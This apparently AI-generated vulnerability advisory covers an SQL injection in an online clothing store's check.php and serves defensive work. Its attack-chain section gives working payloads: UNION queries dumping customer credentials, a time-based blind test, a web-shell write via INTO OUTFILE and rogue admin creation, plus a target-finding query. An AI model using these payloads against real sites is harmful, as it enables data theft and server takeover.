CVE Professor
/
All CVEs
CVE-2026-144912

CVE-2026-144912 — SourceCodester Online Clothing Store — CWE-74 · CWE-89

HIGH CVSS 7.3 NVD

A vulnerability was detected in SourceCodester Online Clothing Store 1.0. This vulnerability affects unknown code of the file check.php. Performing a manipulation of the argument hello results in sql injection. The attack is possible to be carried out remotely. The exploit is now public and may be used.

A vulnerability was detected in SourceCodester Online Clothing Store 1.0. This vulnerability affects unknown code of the file check.php. Performing a manipulation of the argument hello results in sql injection. The attack is possible to be carried out remotely. The exploit is now public and may be used.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality Low C:L
Integrity Low I:L
Availability Low A:L
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability type:
Improper neutralization of special elements in SQL query (SQL‑Injection, CWE‑89) that also results in reflected output without proper encoding (CWE‑74).

Root cause
check.php reads the HTTP GET/POST parameter hello and injects its raw value directly into an SQL statement that is subsequently executed against the application’s database. No:

  • input sanitisation / parameterisation (e.g., prepared statements)
  • escaping of special characters (', ", \, ;, etc.)
  • output‑encoding before the value is echoed back to the browser
  • are performed. Because the code runs with no authentication required (PR:N) and the request can be sent from any network location (AV:N), an attacker can craft a request that changes the structure of the SQL query and retrieve or modify data.

    Typical vulnerable pattern (illustrative)

    // check.php – vulnerable fragment (illustrative)
    $hello = $_GET['hello'];               // <-- unsanitised user input
    $sql   = "SELECT * FROM products WHERE name LIKE '%$hello%'"; // string concatenation
    $result = $db->query($sql);           // query executed with full privileges
    echo "Search results for: $hello";    // reflected output without HTML‑encoding
  • The concatenation of $hello into the query enables SQL‑Injection (CWE‑89).
  • Echoing the raw value back to the client without htmlspecialchars() creates a reflected XSS / output‑encoding issue (CWE‑74), although the CVE focuses on the injection vector.
  • Because the query runs under the web‑application’s database user (often with SELECT, INSERT, UPDATE, DELETE rights on the e‑commerce tables), the attacker can read or tamper with product, order, and customer data.


    ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow. All command‑line examples are illustrative – the exact URI may differ in a real deployment, but the mechanics remain identical.

    1. Discovery & Reconnaissance

    ActivityHow it is performedExpected artefacts
    Fingerprint the productSearch for “SourceCodester Online Clothing Store” in public repositories, Google dorks (inurl:check.php), or use Wappalyzer / BuiltWith to identify the vendor.Landing page, README.txt, or comment in HTML that mentions *Online Clothing Store 1.0*.
    Locate the vulnerable endpointCrawl the site (gobuster, dirsearch) for *.php files; look for check.php in the source code (often linked from a search form).GET /check.php?hello= returns a page with a “Search results for:” line.
    Confirm injectable parameterSend a benign payload that will be reflected: curl "https://example.com/check.php?hello=test" → response contains Search results for: test.Confirms that hello is reflected and likely used in a query.

    2. Exploitation

    Goal: Extract data from the customers table (e.g., usernames, emails).

    Payload construction – using classic UNION‑based injection (works when the original query returns a result set).

    # Illustrative curl command
    curl -s "https://example.com/check.php?hello=' UNION SELECT 
        username, email, password, NULL FROM customers-- -"

    Explanation of the payload

    SegmentPurpose
    'Closes the original string literal opened by the application (LIKE '%$hello%').
    UNION SELECT username, email, password, NULL FROM customersAppends a second result set with four columns that match the original SELECT column count.
    -- -Comments out the trailing part of the original query (if any).

    Result – The response page now contains a table (or plain text) with the usernames, emails, and password hashes of all customers.

    Alternative – Blind injection (if UNION is filtered)

    # Time‑based blind payload to test for injection
    curl -o /dev/null -w "%{time_total}\n" \
      "https://example.com/check.php?hello=' OR IF(1=1,SLEEP(5),0)-- -"

    If the request takes ~5 seconds, the injection point is confirmed.

    3. Post‑exploitation

    StepWhat the attacker doesWhy it matters
    Data exfiltrationUse the UNION technique to dump orders, payments, or admin tables.Direct breach of confidentiality (C).
    Credential reuseExtract password hashes, attempt cracking (e.g., hashcat).Leads to privilege escalation on the web‑app or other services.
    Web‑shell uploadIf the application allows file uploads (common in e‑commerce platforms), use the same injection to write a PHP web‑shell via INSERT … INTO files (path, data) VALUES (…) or via SELECT … INTO OUTFILE. Example payload: <br>' UNION SELECT NULL,NULL,NULL, "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'-- -Provides remote code execution (RCE) and full control of the server.
    PersistenceCreate a new admin user in the users table: <br>' UNION SELECT NULL,NULL,NULL, 'attacker','[email protected]','<hashed_pass>',1 FROM dual-- -Gives the attacker persistent privileged access.
    Defacement / data manipulationIssue UPDATE products SET price = price * 0.5 WHERE category='Men' via injection.Impacts integrity (I) and potentially availability if the site is taken offline for cleanup.

    🌍 Real‑World Impact

    CIA TriadCVSS vector interpretationPractical consequence
    Confidentiality (C:L)*Low* – attacker can read selected rows (e.g., customer data).Exposure of personal data, GDPR/CCPA violations, reputational damage.
    Integrity (I:L)*Low* – attacker can modify rows they can reach (e.g., price changes, order status).Business‑logic corruption, financial loss, loss of trust.
    Availability (A:L)*Low* – attacker can cause denial of service by issuing heavy queries or SLEEP() loops.Temporary outage, increased load, possible crash of the DB.

    Because the vulnerability is network‑reachable, unauthenticated, and requires low skill (AC:L), the risk of exploitation in the wild is significant, especially for small‑to‑medium e‑commerce sites that often run the default configuration.


    🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ActionDetails
    UpgradeMove to a version of *Online Clothing Store* where all database interactions use prepared statements (PDO/mysqli with bound parameters) or a modern ORM. If the vendor has not released a patch, apply the code fix manually (see below).
    Code fix (illustrative)``php<br>// check.php – safe version<br$hello = $_GET['hello'] ?? '';<br>$stmt = $db->prepare('SELECT * FROM products WHERE name LIKE ?');<br$stmt->execute(['%'.$hello.'%']);<br>$rows = $stmt->fetchAll();<br>foreach ($rows as $row) { /* render safely */ }<br>echo 'Search results for: '.htmlspecialchars($hello, ENT_QUOTES, 'UTF-8');<br>``

    2. Workarounds (if immediate code change is not possible)

    MitigationImplementation
    Web Application Firewall (WAF) – ModSecurity rule to block typical injection patterns on hello parameter.``apacheconf<brSecRule REQUEST_URI "@beginsWith /check.php" "id:20263001,phase:2,deny,log,msg:'Block SQLi on hello param',chain"<brSecRule ARGS:hello "(?:'%27\"%22;--#/\*\*/UNIONSELECTINSERTUPDATEDELETEDROPSLEEPbenchmark)" "t:none"<br>`
    Input validation – Reject any value that contains characters not allowed in product names (e.g., only alphanumerics, spaces, hyphens).Add a server‑side whitelist: if (!preg_match('/^[A-Za-z0-9 \-]{1,100}$/', $hello)) { http_response_code(400); exit; }
    Least‑privilege DB user – Ensure the web‑app DB account has only SELECT on the products table (no INSERT/UPDATE/DELETE).GRANT SELECT ON clothing_store.products TO 'webapp'@'localhost';
    Disable error display – Turn off display_errors and enable generic error pages to avoid leaking SQL error messages that aid an attacker.php.ini: display_errors = Off
    Network segmentation – Restrict external access to check.php if it is not required for public search (e.g., move the search functionality behind an internal API).Use firewall rule: allow from 0.0.0.0/0 to /check.php → deny` and expose a sanitized endpoint instead.

    3. Detection

    IndicatorWhere to lookExample log line
    Repeated long‑running requests (e.g., SLEEP(5))Web server access log (access.log)192.0.2.45 - - [05/Dec/2026:14:22:31 +0000] "GET /check.php?hello=' OR IF(1=1,SLEEP(5),0)-- - HTTP/1.1" 200 1234 "-" "Mozilla/5.0"
    SQL error messages in response (if display_errors is on)Response bodyYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax near 'UNION SELECT ...'
    Unusual UNION SELECT strings in query parametersWAF logs / ModSecurity audit logMatched Variable: ARGS:hello = "' UNION SELECT username,email,password FROM customers-- -"
    New admin user creationDatabase audit (if enabled) or application logsINSERT INTO users (username, email, password, role) VALUES ('attacker','[email protected]','...','admin')
    File creation of a web‑shellFile integrity monitoring (Tripwire, OSSEC)ALERT: /var/www/html/shell.php created by uid=33 (www-data)

    Set up SIEM correlation rules that trigger on any of the above patterns, especially when they originate from the same source IP within a short time window.


    ⚠️ Urgency

  • CVSS 7.3 (HIGH) – Network‑accessible, no authentication, low complexity, and impacts all three CIA pillars.
  • Public exploit – The description states the exploit is already public, meaning automated scanners or script‑kiddies can weaponise it immediately.
  • No CISA KEV listing – While not yet in the KEV program, the lack of a KEV entry does not reduce risk; it merely reflects that the program has not yet added it.
Patch priority: Critical for any production deployment of Online Clothing Store 1.0. Apply the code fix or vendor patch within 24 hours. If that is not feasible, enforce the WAF rule, restrict the DB user, and monitor for the IoCs immediately while planning the permanent remediation.
Bottom line: The hello parameter in check.php enables unauthenticated attackers to inject arbitrary SQL, leading to data leakage, tampering, and potential remote code execution. Immediate remediation (parameterised queries) combined with short‑term WAF/DB‑privilege hardening is required to stop active exploitation.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

header="X-Powered-By" && header="PHP"
CVSS Score
7.3 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-74 CWE-89
Related CVEs
7.3
CVE-2026-144885
A vulnerability was identified in SourceCodester Secured E-Voting System 1.0. The impacted element is an unkno
6.5
CVE-2026-137271
The NEX-Forms – Ultimate WordPress Form Builder plugin for WordPress is vulnerable to SQL Injection via the
9.9
CVE-2026-45262
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.2, Core/Where.php::s
9.8
CVE-2026-145040
WWBN AVideo before 29.9.0 contains a blind sql injection vulnerability that allows unauthenticated attackers t
9.3
CVE-2026-136358
Joomla Extension - joomboost.com - Unauthenticated SQL injection in JoomMedia extension 1.0.0-6.1.5 - The list
9.3
CVE-2026-136369
Joomla Extension - joomboost.com - Unauthenticated SQL injection in JoomInvoice extension 1.0.0-6.5.2 - Inputs
9.3
CVE-2026-136376
Joomla Extension - joomboost.com - SQL injection in search time filters in JoomRecipe extension 1.0.0-6.9.8 -